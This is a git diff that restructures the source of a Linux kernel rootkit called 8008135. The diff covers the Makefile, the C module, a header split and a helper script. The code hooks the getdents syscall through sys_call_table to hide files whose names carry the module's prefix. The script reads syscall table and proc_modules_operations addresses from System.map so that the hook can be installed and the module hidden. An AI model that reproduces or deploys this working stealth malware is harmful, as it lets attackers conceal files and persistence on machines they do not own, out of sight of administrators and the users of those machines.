diff --git a/Makefile b/Makefile
index c9e395d..b18503c 100644
--- a/Makefile
+++ b/Makefile
@@ -1,6 +1,38 @@
-obj-m += 8008135.o
+# Module name
+MNAME := 8008135
-modules:
- make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
+# Build
+MODULEDIR := /lib/modules/$(shell uname -r)
+BUILDDIR := $(MODULEDIR)/build
+KERNELDIR := $(MODULEDIR)/kernel
+
+# Source files
+SRCS_S := src
+LIBS_S := src/libs
+INCL_S := src/include
+
+# Header files
+SRCS_H := $(PWD)/$(SRCS_S)/headers
+LIBS_H := $(PWD)/$(LIBS_S)/headers
+INCL_H := $(PWD)/$(INCL_S)/headers
+
+obj-m += $(MNAME).o
+# Core
+$(MNAME)-y += src/$(MNAME).o
+
+# Includes for header files etc
+ccflags-y := -I$(SRCS_H) -I$(LIBS_H) -I$(INCL_H)
+
+all:
+ $(shell $(SRCS_S)/create_sysgen.sh)
+ $(MAKE) -C $(BUILDDIR) M=$(PWD) modules
+
+load:
+ insmod $(MNAME).ko
+
+unload:
+ rmmod $(MNAME)
+
clean:
- make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
+ -rm $(SRCS_H)/sysgen.h
+ $(MAKE) -C $(BUILDDIR) M=$(PWD) clean
diff --git a/src/8008135.c b/src/8008135.c
index 97b67e4..cf253f5 100644
--- a/src/8008135.c
+++ b/src/8008135.c
@@ -17,50 +17,9 @@
* with this program. If not, see .
*/
-/**** Includes ***************************************************************
+/**** includes *****************************************************************
*******************************************************************************/
-#include
-#include
-#include
-#include
-#include
-#include
-#include "sysgen.h"
-
-
-/**** Defines *****************************************************************
-*******************************************************************************/
-
-#define GETDENTS_SYSCALL_NUM 78
-#define WRITE_PROTECT_FLAG (1<<16)
-
-#define HIDE_PREFIX "8008135."
-#define HIDE_PREFIX_SZ (sizeof(HIDE_PREFIX) - 1)
-
-#define MODULE_NAME "8008135"
-#define MODULE_NAME_SZ (sizeof(MODULE_NAME) - 1)
-
-/**** Modinfo ****************************************************************
-*******************************************************************************/
-
-MODULE_LICENSE("GPLv3");
-MODULE_AUTHOR("JanKoernerEnterprises");
-MODULE_DESCRIPTION("8008135");
-MODULE_VERSION("0.1");
-
-/**** type *******************************************************************
-*******************************************************************************/
-struct linux_dirent {
- unsigned long d_ino;
- unsigned long d_off;
- unsigned short d_reclen; // d_reclen is the way to tell the length of this entry
- char d_name[1]; // the struct value is actually longer than this, and d_name is variable width.
-};
-
-typedef asmlinkage long (*sys_getdents_t)(unsigned int fd,
- struct linux_dirent __user *dirent,
- unsigned int count);
-
+#include "8008135.h"
/**** var ********************************************************************
*******************************************************************************/
@@ -72,8 +31,8 @@ sys_getdents_t sys_getdents_orig = NULL;
* PARAMETERS: -
* RETURNS: -
*******************************************************************************/
-asmlinkage long sys_getdents_new(unsigned int fd,
- struct linux_dirent __user *dirent,
+asmlinkage long sys_getdents_new(unsigned int fd,
+ struct linux_dirent __user *dirent,
unsigned int count) {
int boff;
struct linux_dirent* ent;
@@ -85,7 +44,7 @@ asmlinkage long sys_getdents_new(unsigned int fd,
if (ret <= 0) {
return ret;
}
-
+
dbuf = (char*)dirent;
// go through the entries, looking for one that has our prefix
@@ -96,12 +55,25 @@ asmlinkage long sys_getdents_new(unsigned int fd,
// if it has hide prefix or module name anywhere, hide it
if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0)
|| (strstr(ent->d_name, MODULE_NAME) != NULL)) {
-
+#if defined DEBUG
+ printk("\n hide prefix or mod name contained!\n");
+ printk("\n ret %ld\n ", ret);
+ printk("\n dbuf %d\n" , dbuf);
+ printk("\n");
+ printk(ent->d_name);
+#endif
// remove this entry by copying everything after it forward
// and adjust the length reported
- memcpy(dbuf + boff, dbuf + boff + ent->d_reclen,
- ret - (boff + ent->d_reclen));
+#if defined DEBUG
+ printk("\n reclen %u \n", ent->d_reclen);
+#endif
+ memcpy(dbuf + boff,
+ dbuf + boff + ent->d_reclen,
+ ret - (boff + ent->d_reclen));
ret -= ent->d_reclen;
+#if defined DEBUG
+ printk("\n ret after change %ld\n ", ret);
+#endif
} else {
// on to the next entry
boff += ent->d_reclen;
@@ -155,7 +127,6 @@ static void __exit exit_8008135(void) {
printk(KERN_INFO "Old syscall back\n");
}
-
// Setting pointers to init-/exit-functions
module_init(init_8008135);
module_exit(exit_8008135);
diff --git a/src/create_sysgen.sh b/src/create_sysgen.sh
index 7892adf..50c4126 100755
--- a/src/create_sysgen.sh
+++ b/src/create_sysgen.sh
@@ -1,14 +1,19 @@
-#!/bin/bash
+#!/usr/bin/env bash
+SCRIPTPATH="$( cd "$(dirname "$0")" ; pwd -P )"
+SRCS_H="$SCRIPTPATH""/headers"
+SGENH="$SRCS_H""/sysgen.h"
+
smap="/boot/System.map-$(uname -r)"
-echo -e "#pragma once" > ./sysgen.h
-echo -e "#include " >> ./sysgen.h
+echo -e "#pragma once" > "$SGENH"
+echo -e "#include " >> "$SGENH"
symbline=$(cat $smap | grep '\Wsys_call_table$')
set $symbline
-echo -e "void** sys_call_table = (void**)0x$1;" >> ./sysgen.h
+[ -z "$symbline" ] && echo "No SysCall Table Value from System.map found" && exit 2;
+echo -e "void** sys_call_table = (void**)0x$1;" >> "$SGENH"
procline=$(cat $smap | grep '\Wproc_modules_operations$')
set $procline
-echo -e "struct file_operations* proc_modules_operations = (struct file_operations*)0x$1;" >> ./sysgen.h
+echo -e "struct file_operations* proc_modules_operations = (struct file_operations*)0x$1;" >> "$SGENH"
\ No newline at end of file
diff --git a/src/headers/8008135.h b/src/headers/8008135.h
new file mode 100644
index 0000000..82df99e
--- /dev/null
+++ b/src/headers/8008135.h
@@ -0,0 +1,66 @@
+/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
+/*
+ * main.c
+ * Copyright (C) 2019
+ *
+ * 8008135 is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the
+ * Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * 8008135 is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see .
+ */
+#ifndef SRC_HEADERS_8008135_H
+#define SRC_HEADERS_8008135_H
+/**** Includes ***************************************************************
+*******************************************************************************/
+#include
+#include
+#include
+#include
+#include
+#include
+#include "sysgen.h"
+
+
+/**** Defines *****************************************************************
+*******************************************************************************/
+
+#define GETDENTS_SYSCALL_NUM 78
+#define WRITE_PROTECT_FLAG (1<<16)
+
+#define HIDE_PREFIX "8008135."
+#define HIDE_PREFIX_SZ (sizeof(HIDE_PREFIX) - 1)
+
+#define MODULE_NAME "8008135"
+#define MODULE_NAME_SZ (sizeof(MODULE_NAME) - 1)
+
+/**** Modinfo ****************************************************************
+*******************************************************************************/
+
+MODULE_LICENSE("GPLv3");
+MODULE_AUTHOR("JanKoernerEnterprises");
+MODULE_DESCRIPTION("8008135");
+MODULE_VERSION("0.1");
+
+/**** type *******************************************************************
+*******************************************************************************/
+struct linux_dirent {
+ unsigned long d_ino;
+ unsigned long d_off;
+ unsigned short d_reclen; // d_reclen is the way to tell the length of this entry
+ char d_name[1]; // the struct value is actually longer than this, and d_name is variable width.
+};
+
+typedef asmlinkage long (*sys_getdents_t)(unsigned int fd,
+ struct linux_dirent __user *dirent,
+ unsigned int count);
+
+
+#endif /* SRC_HEADERS_8008135_H */
diff --git a/src/include/headers/utils.h b/src/include/headers/utils.h
new file mode 100644
index 0000000..f29fac2
--- /dev/null
+++ b/src/include/headers/utils.h
@@ -0,0 +1,43 @@
+/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
+/*
+ * main.c
+ * Copyright (C) 2019
+ *
+ * 8008135 is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the
+ * Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * 8008135 is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see .
+ */
+
+/**** Debugging ***************************************************************
+*******************************************************************************/
+
+#ifndef SRC_INCLUDE__HEADERS_UTILS_H_
+#define SRC_INCLUDE_HEADERS_UTILS_H_
+#define DEBUG_ENABLED 1
+
+/**** Debugging ***************************************************************
+*******************************************************************************/
+
+/* variadic macro for debug messages */
+#define debug(str, ...) \
+if (DEBUG_ENABLED) { \
+ pr_info("[ 8008135 ] [ %s ] " str "\n", \
+ __func__, ##__VA_ARGS__); \
+}
+
+#define alert(str, ...) \
+if (DEBUG_ENABLED) { \
+ pr_warn("[ 8008135 ] [ %s ] " str "\n", \
+ __func__, ##__VA_ARGS__); \
+}
+
+#endif /* SRC_INCLUDE_HEADERS_UTILS_H_ */